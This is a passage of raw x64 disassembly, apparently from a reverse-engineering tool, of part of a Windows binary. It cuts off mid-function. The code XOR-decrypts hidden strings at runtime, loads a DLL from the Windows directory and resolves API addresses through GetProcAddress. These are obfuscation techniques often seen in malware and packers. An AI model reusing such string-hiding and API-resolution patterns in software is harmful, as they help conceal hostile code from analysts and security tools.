mov dword [rbp + 0x93a4], 0xcc2444c7
mov dword [rbp + 0x93a8], 0xcccccccc
mov dword [rbp + 0x93ac], 0x83ca8b4c
mov dword [rbp + 0x93b0], 0xcccc2464
mov dword [rbp + 0x93b4], 0x83c18b4c
mov word [rbp + 0x93b8], 0x2464
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, [rbp + 0x93a0]
mov rcx, rbx
call fcn.140050080
mov rcx, rax
sub rcx, rbx
add rcx, r14
mov qword [rsi + 0x168], rcx
test rax, rax
je 0x1400473fd
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x104
lea rcx, [rbp + 0x9820]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor ebx, ebx
mov qword [rbp + 0x92f0], rbx
movdqa xmm0, xmmword [0x140114c40]
movdqu xmmword [rbp + 0x9300], xmm0
mov word [rbp + 0x92f0], bx
lea rax, [rbp + 0x9820]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140045393
lea rdx, [rbp + 0x9820]
lea rcx, [rbp + 0x92f0]
call fcn.14005a180
nop
movabs rax, 0x10394d14ab29a660
mov qword [rbp + 0x120], rax
movabs rax, 0x4109cfb098612c4
mov qword [rbp + 0x128], rax
movabs rax, 0xaa838c9867afbd0
mov qword [rbp + 0x130], rax
movabs rax, 0x17d8844384d17d90
mov qword [rbp + 0x138], rax
movabs rax, 0x206102c395ce350
mov qword [rbp + 0x140], rax
movabs rax, 0x12c19ff8dde7126a
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x150], r15
movabs rcx, 0xe00000002004f6c6
mov qword [rbp + 0x158], rcx
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
movabs rax, 0x104a4d6dab7aa63c
mov qword [rbp + 0x1a0], rax
movabs rax, 0x4239c9609e312b0
mov qword [rbp + 0x1a8], rax
movabs rax, 0xac138be8626fbe2
mov qword [rbp + 0x1b0], rax
movabs rax, 0x17b3847184e27dfe
mov qword [rbp + 0x1b8], rax
movabs rax, 0x263105f393de332
mov qword [rbp + 0x1c0], rax
movabs rax, 0x12b29f81dd941244
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
xorps xmm5, xmm5
movdqa xmm0, xmmword [rbp + 0x120]
pxor xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x93e0], xmm0
movdqa xmm1, xmmword [rbp + 0x130]
pxor xmm1, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x93f0], xmm1
movdqa xmm0, xmmword [rbp + 0x140]
pxor xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x9400], xmm0
movdqa xmm1, xmmword [rbp + 0x150]
pxor xmm1, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0x9410], xmm1
pxor xmm6, xmm2
movdqa xmmword [rbp + 0x9420], xmm6
pxor xmm7, xmm3
movdqa xmmword [rbp + 0x9430], xmm7
pxor xmm8, xmm4
movdqa xmmword [rbp + 0x9440], xmm8
pxor xmm9, xmm5
movdqa xmmword [rbp + 0x9450], xmm9
lea rax, [rbp + 0x120]
lea rcx, [rbp + 0x93e0]
mov edx, 6
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140045570
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rax, [rbp + 0x120]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x1400455e0
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x92f0]
call fcn.140059fa0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x1bd2fe4f6a41260b
mov qword [rbp + 0x93e0], rax
movabs rax, 0x6370f0b928e92a7c
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x7ab0957d592f4f7c
mov qword [rbp + 0x9400], rax
movabs rax, 0x637083c05bc74f0f
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x93f0], xmm2
lea rcx, [rbp + 0x120]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov qword [rbp + 0x600], rbx
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x610], xmm0
mov byte [rbp + 0x600], 0
lea rax, [rbp + 0x120]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140045733
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x600]
call fcn.14005a030
nop
lea rcx, [rbp + 0x600]
call fcn.140053a00
mov r14, rax
lea rcx, [rbp + 0x600]
call fcn.14000b160
lea rcx, [rbp + 0x92f0]
cmp qword [rbp + 0x9308], 8
cmovae rcx, qword [rbp + 0x92f0]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rbx, rax
test rax, rax
jne 0x1400458b3
movabs rax, 0x43b66219cdc473
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe91e277980584c2
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x43b61076bfb636
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xd30], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xd40], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xd50], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xd60], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xd70], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xd80], xmm0
movabs rax, 0x5f565ebd2
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x132542ac7b
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x5f56fa6ba
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0x960], xmm0
movaps xmm0, xmmword [rbp + 0x810]
movaps xmmword [rbp + 0x970], xmm0
movaps xmm1, xmmword [rbp + 0x820]
movaps xmmword [rbp + 0x980], xmm1
movaps xmm0, xmmword [rbp + 0x830]
movaps xmmword [rbp + 0x990], xmm0
lea r8, [rbp + 0xd30]
lea rdx, [rbp + 0x960]
jmp 0x1400471fb
movabs rax, 0x13ae47f0d3a93dc0
mov qword [rbp + 0x93e0], rax
movabs rax, 0x940d1dfd0ddd6d5
mov qword [rbp + 0x93e8], rax
mov qword [rbp + 0x93f0], r15
movabs rcx, 0xe000000020043799
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x70c03e8392cf5ca7
mov qword [rbp + 0x9420], rax
movabs rax, 0x6c34b0ab83a4b39e
mov qword [rbp + 0x9428], rax
mov qword [rbp + 0x9430], r15
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x2e70]
lea rcx, [rbp + 0x120]
mov r12d, 2
mov edx, r12d
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140045990
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea rdx, [rbp + 0x2e70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140045a07
sub rax, rbx
add rax, r14
mov qword [rsi + 0x28], rax
movabs rax, 0xde5e980f250fb29
mov qword [rbp + 0x93e0], rax
movabs rax, 0x72d5f111cf1353ae
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x62969bf5b1248b4e
mov qword [rbp + 0x9400], rax
movabs rax, 0x72d5927fb66012dc
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x120], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x130], xmm2
lea rcx, [rbp + 0x29d0]
lea rax, [rbp + 0x120]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rdx, [rbp + 0x29d0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140045b24
sub rax, rbx
add rax, r14
mov qword [rsi + 0x30], rax
movabs rax, 0xad7ac5cb8874545
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x183d0fcaff0e840a
mov qword [rbp + 0x93a8], rcx
movabs rax, 0xad7d52cdbea2028
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93b0]
pxor xmm0, xmmword [rbp + 0x93a0]
movaps xmmword [rbp - 0x10], xmm0
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x10], xmm1
movaps xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x20], xmm0
movaps xmm1, xmmword [rbp + 0x30]
movaps xmmword [rbp + 0x30], xmm1
movaps xmm0, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x40], xmm0
movaps xmm1, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x50], xmm1
movabs rax, 0x1a3b4d359bef8dbd
mov qword [rbp + 0x93e0], rax
movabs rax, 0x7a9ae724163bd6da
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x76553f5ee880f9d3
mov qword [rbp + 0x9400], rax
movabs rax, 0x7a9ae7247343b3f4
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x2080]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x2080]
call fcn.1400532e0
mov qword [rsi + 0x58], rax
test rax, rax
jne 0x140045dc3
movabs rax, 0x47364f2190e528
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe957a890f59ed77
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x47363d4ee2976d
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93b0]
pxor xmm0, xmmword [rbp + 0x93a0]
movaps xmmword [rbp + 0xd90], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xda0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xdb0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xdc0], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xdd0], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xde0], xmm0
movabs rax, 0x1fffffffe6566a05
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe000000019b66de7
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1fffffffe6566034
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93b0]
pxor xmm0, xmmword [rbp + 0x93a0]
movaps xmmword [rbp + 0x8a0], xmm0
movaps xmm0, xmmword [rbp + 0x80]
movaps xmmword [rbp + 0x8b0], xmm0
movaps xmm1, xmmword [rbp + 0x90]
movaps xmmword [rbp + 0x8c0], xmm1
lea r8, [rbp + 0xd90]
lea rdx, [rbp + 0x8a0]
jmp 0x1400471fb
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xdd3d14cc09572aa
mov qword [rbp + 0x93e0], rax
movabs rax, 0x2d0e53359527c109
mov qword [rbp + 0x93e8], rax
movabs rax, 0x132a2431fc673023
mov qword [rbp + 0x93f0], rax
movabs rax, 0x6d5963bd43049d2f
mov qword [rbp + 0x93f8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7da6ba23afd901fa
mov qword [rbp + 0x9420], rax
movabs rax, 0x6f7d2050f648b359
mov qword [rbp + 0x9428], rax
movabs rax, 0x605941529315605a
mov qword [rbp + 0x9430], rax
movabs rax, 0x6d5963bd4304f966
mov qword [rbp + 0x9438], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x5b60]
lea rcx, [rbp + 0x120]
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140045ec0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movabs rax, 0x77ab02c2f67e8e2
mov qword [rbp + 0x93e0], rax
movabs rax, 0x641508be5de9f5e8
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x6b14c2475c089c8c
mov qword [rbp + 0x9400], rax
movabs rax, 0x641508be389190c6
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x2150]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x5b60]
lea rcx, [rbp + 0x2150]
call fcn.1400532e0
mov qword [rsi + 0x40], rax
test rax, rax
jne 0x14004614c
movabs rax, 0x4563a0a2d6e3c4
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe938f36ef1ced67
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x4563d2cda49181
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93b0]
pxor xmm0, xmmword [rbp + 0x93a0]
movaps xmmword [rbp + 0xdf0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xe00], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xe10], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xe20], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xe30], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xe40], xmm0
movabs rax, 0x1fffffffe6173221
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe000000019d90f35
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1fffffffe6173813
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93b0]
pxor xmm0, xmmword [rbp + 0x93a0]
movaps xmmword [rbp + 0x870], xmm0
movaps xmm0, xmmword [rbp + 0x80]
movaps xmmword [rbp + 0x880], xmm0
movaps xmm1, xmmword [rbp + 0x90]
movaps xmmword [rbp + 0x890], xmm1
lea r8, [rbp + 0xdf0]
lea rdx, [rbp + 0x870]
jmp 0x1400471fb
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x1586ef4e034e61c5
mov qword [rbp + 0x93e0], rax
movabs rax, 0x5fc3ed5b694f585
mov qword [rbp + 0x93e8], rax
movabs rax, 0x4b35530a3a1a
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x69d8df9690411b3
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x73e39d2b4728038a
mov qword [rbp + 0x9420], rax
movabs rax, 0x67b35bb6d8f187e0
mov qword [rbp + 0x9428], rax
movabs rax, 0x4b3527695f70
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x4280]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140046240
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movabs rax, 0xd5e9f95a5bb257b
mov qword [rbp + 0x93e0], rax
movabs rax, 0x6ebb3f8fb0f6636d
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x6130edfed6d45115
mov qword [rbp + 0x9400], rax
movabs rax, 0x6ebb3f8fd58e0643
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x93f0], xmm2
lea rcx, [rbp + 0x2220]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x4280]
lea rcx, [rbp + 0x2220]
call fcn.1400532e0
mov qword [rsi + 0x50], rax
test rax, rax
jne 0x1400464dc
movabs rax, 0x4ab455cfada038
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe98f970613c4497
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x4ab427a0dfd27d
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xa90], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xaa0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xab0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xac0], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xad0], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xae0], xmm0
movabs rax, 0x1fffffffe690787f
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xe00000001964da2c
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1fffffffe690724c
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93b0]
pxor xmm0, xmmword [rbp + 0x93a0]
movaps xmmword [rbp + 0x8d0], xmm0
movaps xmm0, xmmword [rbp + 0x80]
movaps xmmword [rbp + 0x8e0], xmm0
movaps xmm1, xmmword [rbp + 0x90]
movaps xmmword [rbp + 0x8f0], xmm1
lea r8, [rbp + 0xa90]
lea rdx, [rbp + 0x8d0]
jmp 0x1400471fb
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x1d98839099a28f63
mov qword [rbp + 0x93e0], rax
